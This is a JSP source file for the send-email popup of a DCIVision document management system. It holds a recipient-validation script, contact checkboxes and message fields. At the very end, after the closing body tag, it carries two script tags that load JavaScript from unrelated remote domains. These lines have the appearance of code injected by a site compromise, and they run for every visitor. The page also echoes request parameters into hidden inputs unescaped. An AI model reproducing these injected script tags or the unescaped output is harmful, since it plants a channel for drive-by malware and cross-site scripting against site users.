<%
/*
 * @(#)DmsSendEmail.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsSendEmail.jsp

  This page is for sending email

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    16/09/2003
    @version          $Revision: 1.15.4.11 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="dmsSendEmailForm" scope="request" class="com.dcivision.dms.web.DmsSendEmailForm"/>
<%
  String senderEmail = UserInfoFactory.getUserEmailAddress(sessionContainer.getUserRecordID());
  String docName = request.getAttribute("docName")!=null? (String)request.getAttribute("docName"): null;
  String state = request.getAttribute("state")==null? null: (String)request.getAttribute("state");
%>
<script language="Javascript">
<!--
function OpSend(frm) {
  var contactSelected = false;
  var contactListSelected = false;

  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
      }
    }
  }
  if (frm.contactPersonIDs) {
    if (frm.contactPersonIDs.length > 0){
      for ( var i=0; i<frm.contactPersonIDs.length; ++i ) {
        if ( frm.contactPersonIDs[i].checked ) { contactSelected = true; }
      }
    } else {
      if ( frm.contactPersonIDs.checked ) { contactSelected = true; }
    }
  }
  if (frm.contactList) {
    if (frm.contactList.length > 0){
      for ( var i=0; i<frm.contactList.length; ++i ) {
        if ( frm.contactList[i].checked ) { contactListSelected = true; }
      }
    } else {
      if ( frm.contactList.checked ) { contactListSelected = true; }
    }
  }
  var emailFormat = /^\w+(\.\w+)?@\w+(\.\w+)+(;\w+(\.\w+)?@\w+(\.\w+)+)*$/;
  var to = frm.recipients.value;
  if( to && !to.match(emailFormat) ){
  	alert("<bean:message key='dms.label.email_send_to'/> <bean:message key='errors.form.label.validate_email'/>");
  	return false;
  }
  var cc = frm.CCRecipients.value;
  if( cc && !cc.match(emailFormat) ){
  	alert("<bean:message key='dms.label.email_cc'/> <bean:message key='errors.form.label.validate_email'/>");
  	return false;
  }
  var bcc = frm.BCCRecipients.value;
  if( bcc && !bcc.match(emailFormat) ){
  	alert("<bean:message key='dms.label.email_bcc'/> <bean:message key='errors.form.label.validate_email'/>");
  	return false;
  }
  if(contactSelected==false && contactListSelected==false && frm.recipients.value=="" && frm.CCRecipients.value=="" && frm.BCCRecipients.value==""){
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_recipient")%>' />');
    return false;
  }
  if (typeof ValidateForm == "function" && !ValidateForm(frm)) {
    return(false);
  }
<%if(Utility.isEmpty(sessionContainer.getUserRecord().getEmail())){%>
    if(confirm('<bean:message key='dms.message.not_set_email_address' arg0='<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.SMTP_ADMIN_ADDRESS)%>'/>') == false){
    	return false;
	}    
<%}%>
  frm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  frm.submit();
  return(false);
}
-->
</script>

<head>
  <title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
  <meta http-equiv="Pragma" content="no-cache">
  <meta http-equiv="Cache-Control" content="no-cache">
  <meta http-equiv="Expires" content="0">
  <script language="Javascript" src="<%= request.getContextPath() %>/js/StaticJavascript.jsp" charset="UTF-8" type="text/javascript"></script>
  <script language="Javascript" src="<%= request.getContextPath() %>/js/TemplateScript.jsp" charset="UTF-8" type="text/javascript"></script>
  <!-- Common Stylesheet Begin -->
  <link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
  <!-- Common Stylesheet End -->
</head>

<body>
<% if (DmsOperationConstant.EMAIL_SENT.equals(state)) { %>
  <b><font face="Arial, Helvetica, sans-serif" size="4"><%=docName%></font></b>
  <br><br>
  <font class="systemMessage"><bean:message key='dms.label.email_send_successfully'/></font>
  <br><br>
  <html:standardButton label="common.label.close" onClick="return self.close();"/>
<% } else { %>

  <html:javascript formName="DmsSendEmailForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
  <!-- Form Section Begin -->
  <html:form action="dms/DmsSendEmail" method="POST" onsubmit="return ValidateForm(this);">
  <html:hidden property="sender" value="<%=senderEmail%>"/>
  <html:hidden property="opMode"/>
  <html:hidden property="navMode"/>
  <input type='hidden' name='documentID' value='<%=request.getParameter("documentID")%>'>
  <input type='hidden' name='version' value='<%=request.getParameter("version")%>'>
  <!-- Compse Email Begin-->
  <!-- Section Header -->
  <%PermissionManager sPermissionManager = sessionContainer.getPermissionManager();
    if(sPermissionManager.hasAccessRight(SystemFunctionConstant.CONTACT_GROUP,"R")){%>
  <div class="popupPanelTitle">
    <table>
      <!-- Section Header -->
      <layout:sectionHeader name='contact.label.external_recipient' blackLine="false"  mandatory='false'/>
    </table>
  </div>
    
  <div class="generalContainer">
    <div class="wrapperContainer-clearfix">
    <table width="100%">
    <tr>
      <td class='formLabelSmall' width='25%' valign='top'>
        <bean:message key='contact.label.external_recipient'/>:&nbsp;
      </td>
      <td class="formFieldSmall" width='75%'>
        <table>
          <tr>
            <td class="formLabelSmall"><bean:message key='dms.label.contact'/></td>
            <td class="formLabelSmall"><bean:message key='dms.label.contact_list'/></td>
          </tr>
          <tr>
            <td width='300'>
              <html:checkboxOptions dbListName='contactPersonList' name='contactPersonIDs' nameValue='<%=dmsSendEmailForm.getContactPersonIDs()%>' hasSelect='false' width='300'/>
            </td>
            <td width="300">
              <html:checkboxOptions dbListName='contactList' name='contactList' nameValue='<%=dmsSendEmailForm.getContactList()%>' hasSelect='false' width='300'/>
            </td>
          </tr>
        </table>
      </td>
    </tr>
    </table>
  </div>
  </div>
  <%}%>
  
  <div class="popupPanelTitle">
    <table>
      <!-- Section Header -->
      <layout:sectionHeader name="dms.label.email_compose_message" blackLine="false" mandatory='false'/>
    </table>
  </div>

  <div class="generalContainer">
    <div class="wrapperContainer-clearfix">
    <table width="100%">
      <tr>
        <td>
          <table>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.email_send_to'/>:&nbsp;</td>
              <td class="formFieldSmall"><html:text property='recipients' size="70%"/></td>
            </tr>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.email_cc'/>:&nbsp;</td>
              <td class="formFieldSmall"><html:text property='CCRecipients' size="70%"/></td>
            </tr>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.email_bcc'/>:&nbsp;</td>
              <td class="formFieldSmall"><html:text property='BCCRecipients' size="70%"/></td>
            </tr>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.email_subject'/>:&nbsp;</td>
              <td class="formFieldSmall"><html:text property='subject' size="70%" value="<%=docName%>"/></td>
            </tr>
            <% if ( docName!=null ) { %>
            <tr>
              <td class="formLabelSmall"><bean:message key='dms.label.email_attach'/>:&nbsp;</td>
              <td class="formFieldSmall"><%=docName%></td>
            </tr>     
            <% } %>
            <tr>
              <td class="formLabelSmall"><bean:message key="dms.label.content" />:&nbsp;</td>
              <td class="formFieldSmall"><html:textarea property='content' cols="54" rows="15"/></td>
            </tr>
          </table>
        </td>
      </tr>
    </table>
  </div>
  </div>

  <div id="bottomButtonArea">
    <div id="buttonSection">
      <%if(!GlobalConstant.NAV_MODE_VIEW.equals(dmsSendEmailForm.getNavMode())){%>
        <html:standardButton label="dms.label.email_send" onClick="return OpSend()"/>
      <%}%> 
        <html:standardButton label="common.label.close" onClick="return self.close();"/>
    </div>
  </div>

  <!-- Compose Email End-->
  </html:form>
  <!-- Form Section End -->
<% } %>
</body>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>